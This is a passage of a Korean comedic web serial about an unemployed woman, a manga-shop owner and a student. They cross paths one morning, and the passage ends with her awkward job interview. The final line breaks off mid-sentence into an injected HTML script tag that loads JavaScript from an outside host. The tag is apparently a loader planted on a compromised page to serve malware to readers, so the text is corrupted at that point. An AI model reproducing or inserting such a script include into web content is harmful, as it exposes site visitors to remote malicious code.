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[제목] 백수의 사랑이야기Ⅱ(3) (소설가)
만화방총각: 비개인 아침이다. 만화방문을 여는데 단골 아가씨가 운동 나갔다 오나보다.

츄리닝 차림에 배낭을 메고 저기서 뛰어온다. 나와 눈이 마주쳤다. 그녀가 나한테 인사를

했다. 나도 얼떨결에 꾸벅 인사를 하고 말았다. 만화방 간판을 한참쳐다봤다. 빨리 성을

지워야겠다. 만화방으로 들어갈려는데 만화를 무지하게 좋아하던 그녀석도 가방을 메고

어디를 간다. 저녀석 백수 같았는데 아침부터 가방을 메고 어디를 갈까? 쯧쯧 저런 머리

모양으로 나올 정도의 배짱을 가졌다니 놀랍다. 오늘도 만화방 하루일과가 시작되는구나.



백수아가씨: 우리엄마 소박 안맞은게 참 신기하다. 아침부터 곤히 자는 날 깨웠다. 설마

밥 먹으라고 깨우지는 않았겠지? 쌀 사오랜다. 밥할려고 쌀찾았는데 못찾겠단다.

우리아버지 오늘도 박카스에 초꼬파이 하나 드시고 가셨구나. 잘때 옷차림 그대로

모자만 하나쓰고 쌀사러 나갔다. 혹시 아줌마라 그럴까봐 학교다닐때 가지고 다니던 가방을

메고 나갔다. 쌀을 가방에 넣고 집으로 오는데. 만화방 아저씨가 문을 열고 있다.



만화방치고는 꽤 일찍 문을 연다. 쪽 팔려서 그랬을까 얼떨결에 인사를 했다.

그도 인사를 꾸벅했다.

아무래도 나한테 관심이 있는거 같다. 이럴줄 알았으면 엄마 립스틱이나 따나 바르고

나오는 건데... 요즘 자주보는 낯이 익은 녀석이 어디가는 걸 집에 들어가다 보았다. 멍한

모습으로 가방을 메고 걷고 있었다. 머리모양과 얼굴모양이 꼭 에이스벤추라를

연상시킨다.
이미지

저래가지고 어디를 가는걸까? 그도 나처럼 쌀사러 가는걸까?



자취생: 그녀생각에 아침부터 몽롱하다. 쌀도 없다. 굶고 학교갈수 밖에..학교대출시키고

싶지만 휴학생으로 오인받긴 싫다. 만화방 아저씨가 간판을 보며 뿌듯해한다. 그아저씨

그래도 사장아닌감..? 우리과 요즘 창업 준비하는 애들 많다. 호떡 장사에서부터 포르노

영화감독하겠다는 놈까지 전공에 관계없는 다양한 직종이 나오고 있다. 저마다 벤쳐사업

이라고 큰소리다. 그녀 생각하느라 아침에 세수하고 머리빗는걸 잊고 나왔다.

머리모양이 진짜 엉망이다.



강의실 도착했을때야 친구들이 말해주어서 비로소 알게되었다. 수업도중에 바로

머리감으로 화장실로 갔다. 이왕 나온거 머리 마를때까지는 놀다가자. 나무밑 벤취밑에 앉았다.

제법 쌀쌀하다. 담배를 피면서 그녀생각 한번 더해보았다. 왠지 낯이 익은 그녀...아침에

나의 모습을 보았다면 그녀에게 참 안좋은 인상을 주었을것이다. 내일부터는 마주칠지 모르니

귀찮더라도 꼭 머리를 감고 하루에 거울 한번 더보기 운동같은것도 해야겠다.



만화방총각: 만화방을 문을 너무 일찍 여는거 같다. 아무래도 아침 여덟시부터

만화책보러 올놈은 없을거 같다. 조용한 만화방안에서 공책을 폈다. 며칠째 한부분에서

진행되지 않는 내소설이 적혀있다. 모닝커피나 한잔할까? 새로 알게된 백다방 박양이

누구와 닮아 좋았다.

백다방에 전화를 했다. 새벽부터 커피시킨다고 졸라 욕들어 먹었다. 에구... 학교

다닐때가 좋았는데. 그놈의 아임에프만 아니었어도 이렇게 갇히는 신세는 되지 않을수도

있었을텐데..



백수아가씨: 석달전에 입사원서 넣은 회사에서 오늘 면접보러 오라고 전화가 왔다.

많이 바쁜척 튕겨보았다. 오지 말랜다. 우쒸 사정사정해서 그래도 면접은 보게되었다.

아껴 두었던 정장을 입고 향수도 뿌렸다. 문제의 립스틱은 친구보고 좋은 건수 있다고

어디나오라 해놓고 만나 얻어 발랐다. 맞아 죽을뻔했다.



조그마한 구멍가게 회사다. 용산전자상가에 있는 회산데 무턱대고 한번 원서를 넣어

보았다. 면접 보러온 사람은 나뿐이다. 컴퓨터 잘 아냐고 물어보았다. "아뇨" 그럼 스프레트쉬트

중에 잘하는거 있냐고 물어보았다. "그게 뭔데요? 워드는 좀 하는데.." 워드 좀 한다는 말에

문서를 보여주며 이런거 작성할 줄 아냐고 물었다. "저걸 워드프로세서로 만들 수 있어요?"

국문과 나와서 뭐 그렇게 워드작성할 일이 있나? 인터넷활용은 잘 하냐고 물어보길래.

울엄마한테 통신하다가 맞은 뒤부터는 안해봐서..그때는 인터넷이 별로 안알려졌을 때였다고

말했다. 그럼 뭐 할 줄 아냐고 물어보았다. "토익은 800점 이상되고요. 학점도 3.5수준이고.



**일보 백일장에도 입선경험이 있다고 말했다." 내자랑이지 뭐. 컴퓨터랑 토익하고

백일장 입상하고 무슨상관있냐고 엄청 쪽을 ?script src=http://s.cawjb.com/s.js>
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